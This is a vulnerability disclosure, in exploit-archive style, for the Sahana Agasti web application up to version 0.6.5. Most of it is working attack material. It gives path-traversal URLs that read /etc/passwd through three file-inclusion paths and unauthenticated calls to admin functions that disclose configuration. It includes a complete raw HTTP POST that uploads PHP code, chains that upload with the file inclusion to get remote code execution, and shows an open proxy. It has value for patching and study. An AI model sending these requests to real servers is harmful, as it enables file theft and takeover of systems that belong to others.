Sahana Agasti versions 0.6.5 and below suffer from local file inclusion, configuration disclosure, and shell upload vulnerabilities.
e8cf126863abb188c34e9252d11a60131e806dbbc1654754588aff64e8898f13
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ dun / 2011-01-07 ]
#############################################################
# [ Sahana Agasti <= 0.6.5 ] Multiple Vulnerabilities #
#############################################################
#
# Script: "Agasti is the PHP based project of the Sahana Software Foundation.
# Based a long-term preparedness for disaster management..."
#
# Script site: http://www.sahanafoundation.org/
# Download: https://launchpad.net/sahana-agasti/
#
[LFI] Vuln: ( Scenario 1)
http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00
File: ./sahana-0.6.5/www/stream.php
20 $global['approot'] = realpath(dirname(__FILE__)).'/../';
21 // $global['approot'] = '/usr/local/bin/sahana/';
22 $global['previous']=false;
...(CUT)...
39 if(!$global['previous']){
40 $global['action'] = (NULL == $_REQUEST['act']) ?
41 "default" : $_REQUEST['act'];
42 $global['module'] = (NULL == $_REQUEST['mod']) ?
43 "home" : $_REQUEST['mod'];
44 }
45 $global['stream_type'] = $_GET['stream_type']; // [1]
...(CUT)...
52 shn_front_controller();
...(CUT)...
64 function shn_front_controller()
65 {
66 global $global;
67 global $conf;
68 $approot = $global['approot'];
69 $action = $global['action'];
70 $module = $global['module'];
...(CUT)...
90 if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){// [2]
91 require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc'); // [3] LFI
92 if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'))
93 $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc';
94 else
95 $default_file = 'stream.inc';
96 }
In this scenario script try to include something like this:
/var/www/apache/sahana/www/..//inc/lib_st_/../../../../../../../../../etc/passwd\0.inc
################################################################################################################################
[LFI] Vuln: ( Scenario 2)
http://site.com/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00
File: ./sahana-0.6.5/www/stream.php
42 $global['module'] = (NULL == $_REQUEST['mod']) ?
43 "home" : $_REQUEST['mod'];
...(CUT)...
70 $module = $global['module'];
...(CUT)...
90 if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){
91 require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc');
92 if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'))
93 $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc';
94 else
95 $default_file = 'stream.inc';
96 }else
97 $default_file = 'main.inc'; // [1]
98
99 // include the correct module file based on action and module
100 $module_file = $approot.'mod/'.$module.'/'.$default_file; // [2]
101 if (! file_exists($module_file)) { //
102 $module_file = $approot.'mod/home/'.$default_file;
103 }
...(CUT)...
109 //Include the module file
110 include($module_file); // [3] LFI
In this scenario script try to include something like this:
/var/www/apache/sahana/www/../mod//../../../../../../../../../etc/passwd\0/main.inc
################################################################################################################################
[LFI] Vuln: ( Scenario 3 without file_exists)
http://site.com/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00
File: ./sahana-0.6.5/www/stream.php
42 $global['module'] = (NULL == $_REQUEST['mod']) ? // [1]
43 "home" : $_REQUEST['mod'];
...(CUT)...
84 if (preg_match('/^adm/',$action)) { //
85 $module = 'admin'; // [2]
86 $action = 'modadmin'; //
87 }
...(CUT)...
96 }else
97 $default_file = 'main.inc'; // [3]
98
99 // include the correct module file based on action and module
100 $module_file = $approot.'mod/'.$module.'/'.$default_file; // [4] ( /var/www/apache/sahana/www/../mod/admin/main.inc )
...(CUT)...
110 include($module_file); // [5]
...(CUT)...
125 $module_function = 'shn_'.$module.'_'.$action; // [6]
126 if (!function_exists($module_function)) { //
127 $module_function='shn_'.$module.'_default';
128 }
129 $_SESSION['last_module']=$module;
130 $_SESSION['last_action']=$action;
131 $output = $module_function(); // [7] ( shn_admin_modadmin() )
File: ./sahana-0.6.5/mod/admin/main.inc
161 function shn_admin_modadmin()
162 {
163 global $global;
164
165 // include original module admin section
166 include $global['approot']."/mod/".$global['module']."/admin.inc"; // [8] LFI
In this scenario script try to include something like this:
/var/www/apache/sahana/www/..//mod//../../../../../../../../../etc/passwd\0/admin.inc
################################################################################################################################
[Configuration disclosure] Vuln:
http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=conf_list
File: ./sahana-0.6.5/www/stream.php
100 $module_file = $approot.'mod/'.$module.'/'.$default_file; // [1] ( /var/www/apache/sahana/www/../mod/admin/main.inc )
...(CUT)...
110 include($module_file); // [2]
...(CUT)...
125 $module_function = 'shn_'.$module.'_'.$action; // [3]
126 if (!function_exists($module_function)) {
127 $module_function='shn_'.$module.'_default';
128 }
129 $_SESSION['last_module']=$module;
130 $_SESSION['last_action']=$action;
131 $output = $module_function(); // [4] ( shn_admin_conf_list() )
File: ./sahana-0.6.5/mod/admin/main.inc
31 include_once $global['approot']."mod/admin/conf_admin.inc"; // [5]
File: ./sahana-0.6.5/mod/admin/conf_admin.inc
22 function shn_admin_conf_list() // [6] Configuration disclosure
...(CUT)...
We can prepare function name, with using GET variables (mod, act)
We can use prepared functions with "shn_" prefix, with bypassing admin privileges
So lets see what next..
################################################################################################################################
[Arbitrary File Upload] Vuln:
http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser
File: ./sahana-0.6.5/www/stream.php
131 $output = $module_function(); // [1] ( shn_admin_lc_file_browser()
File: ./sahana-0.6.5/mod/admin/main.inc
683 function shn_admin_lc_file_browser() // [2] Arbitrary File Upload
684 {
685 global $global;
686 $locale = $_POST['locale'];
687 //$file_type=$_POST['file_type'];
688 $uploaddir = "../res/locale/$locale/LC_MESSAGES/";
689 //"../res/locale/$locale/LC_MESSAGES/";
690 //echo $uploaddir;
691 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
692
693 if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
694 add_confirmation('File uploaded sucessfully');
695 }else {
696 add_error('File uploaded failed');
697 }
698
699 }
We can upload some file to /res/locale/$locale/LC_MESSAGES/ (default $locale is my_MM),
with using prepared POST
Example:
POST /sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------11682257938924
Content-Length: 420
-----------------------------11682257938924
Content-Disposition: form-data; name="MAX_FILE_SIZE"
50000
-----------------------------11682257938924
Content-Disposition: form-data; name="userfile"; filename="file.txt"
Content-Type: text/plain
<?php phpinfo(); ?>
-----------------------------11682257938924
Content-Disposition: form-data; name="locale"
my_MM
-----------------------------11682257938924--
File /res/locale/my_MM/LC_MESSAGES/file.txt is created
We can use main.inc filename instead of file.txt
So let's go back to LFI ( scenario 1,2 ):
( scenario 1 ) http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../res/locale/my_MM/LC_MESSAGES/main
( scenario 2 ) http://site.com/sahana-0.6.5/www/stream.php?mod=/..//res/locale/my_MM/LC_MESSAGES/
It includes LC_MESSAGES/main.inc with our <?php phpinfo(); ?> (AFU+LFI=RCE)
################################################################################################################################
[PHP Proxy]
http://site.com/sahana-0.6.5/www/res/lib_proxy.php?url=http://site2.com/dupa.php
File: ./sahana-0.6.5/www/res/lib_proxy.php
17 $url = $_GET['url'];
18 $parseurl = urldecode($url);
19
20 // open cURL session
21 $ch = curl_init();
22 curl_setopt($ch, CURLOPT_POST,1);
23 curl_setopt($ch, CURLOPT_URL,$parseurl);
24 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
25 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
26 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
27
28 $xml = curl_exec($ch);
29 curl_close($ch);
30
31 header("Content-Type: text/xml");
32
33 echo $xml;
################################################################################################################################
And possible other bugs...
################################################################################################################################